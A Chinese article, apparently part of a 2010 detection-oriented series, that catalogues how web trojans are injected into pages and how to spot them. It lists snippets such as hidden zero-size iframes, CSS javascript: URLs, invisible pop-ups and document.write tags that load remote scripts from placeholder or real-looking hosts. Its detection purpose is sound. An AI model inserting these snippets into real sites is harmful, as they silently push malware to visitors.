基于源代码分析的Web恶意代码探测方法(2)
发布时间:2010-03-22 10:23
作者:Ю. И. ВОРОТНИЦКИЙ
来源:计算机与信息技术
点击:加载中...次
3 源码分析
网页恶意代码其实就是一段网页代码,主要以ASP和PHP代码为主。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行某些危险的操作,获得某些敏感的技术信息或者通过渗透,提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道,比一般的入侵更具有隐蔽性。
网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。
网页挂马到如今已经发展出许多方法与应用手段,从IFRAME框架,到利用JS文件调用网页木马,以至于在CSS文件中插入网页木马,或者伪装成图片,甚至利用SWF、RM、 AVI等文件的弹窗功能来打开网页木马,都成为黑客经常使用的手段。在这其中IFRAME网页框架挂马是黑客最多用到的经典挂马方式,也是最基础的挂马方式,可以说没有IFRAME,网页木马中有一多半就无法实现完美的隐藏,让用户在不察觉中受到攻击。
3.1 通常的挂马形式
3.1.1 框架挂马
对于网页源代码而言,只要不破坏原有的语言逻辑,那就想插入哪里就写哪里了,网页木马被攻击者利用iframe语句,加载到任意网页中都可执行的挂马形式,是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下:
<iframe src=http://www.xxx.com/muma.html width=100 height=100></iframe>
这里可以提取iframe来进行分析识别。
3.1.2 body挂马
<body onload="window.location='地址';"></body>
3.1.3 隐蔽挂马
3.1.4 CSS中挂马
body {
background-image: url('javascript:document.write("<script src= http://www.xxx.com /muma.js></script>")')}
3.1.5 JAJA挂马
黑客直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄的打开网马窗口,隐藏的运行典型代码如下:
<SCRIPT language=javascript>
window.open ("http://www.xxx.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=0,height=0");
</script>
这种代码往往很长,可以通过“width”和“height=”参数设为“0”进行识别。
这里同样可以利用基本的iframe框架,不过在<script></script>之中可识别语言不是html,但js文件可以写成如下形式:
ocument.write("<iframe <iframe src=http://www.001sb.net/mm.htm width=0 height=0></iframe>");,这时就可以执行此js中的代码了,全语句如下:
< script language=*>document.write("<iframe <iframe src=http://www.001sb.net/mm.htm width=0 height=0> </iframe>")</script>
3.1.6 启动时加载一个网页
<body onload="window.location=' http://www.xxx.com ';"></
body>
3.2 隐蔽的挂马形式
3.2.1 隐形框架嵌入式网络挂马
<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>
在打开插入该句代码的网页后,就也就打开了http://www.xxx.com/muma.html页面,但是由于它的长和宽都为“0”,所以很难察觉,非常具有隐蔽性。
3.2.2 js调用型网页挂马
好多网站上,源代码都会调用js文件,其中的语句为 <script language=* src=./ad/ad.js></script>,这里可能被挂马了,其中这里可以远程调用js。js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术,如:黑客先制作一个js文件,然后利用js代码调用到挂马的网页。通常代码如下:
<script language=javascript src=http://www.xxx.com/ gm.js></script>
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt后缀为任意扩展名
黑客会先用写字板将JS挂马脚本代码写入其中:
document.write('<Iframe src="网页木马地址" ></iframe>');
然后另存为后缀为JS的脚本文件,并上传到自己指定的网址。这时需要在网页代码中寻找如下代码进行识别是否被写入恶意代码:
<script src="http://www.xxx.com/木马脚本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src=" http://www.xxx.com " width="0" height="0" scrolling="no" frameborder="0"> </iframe>")
document.write("</div>")
(责任编辑:adminadmin2008)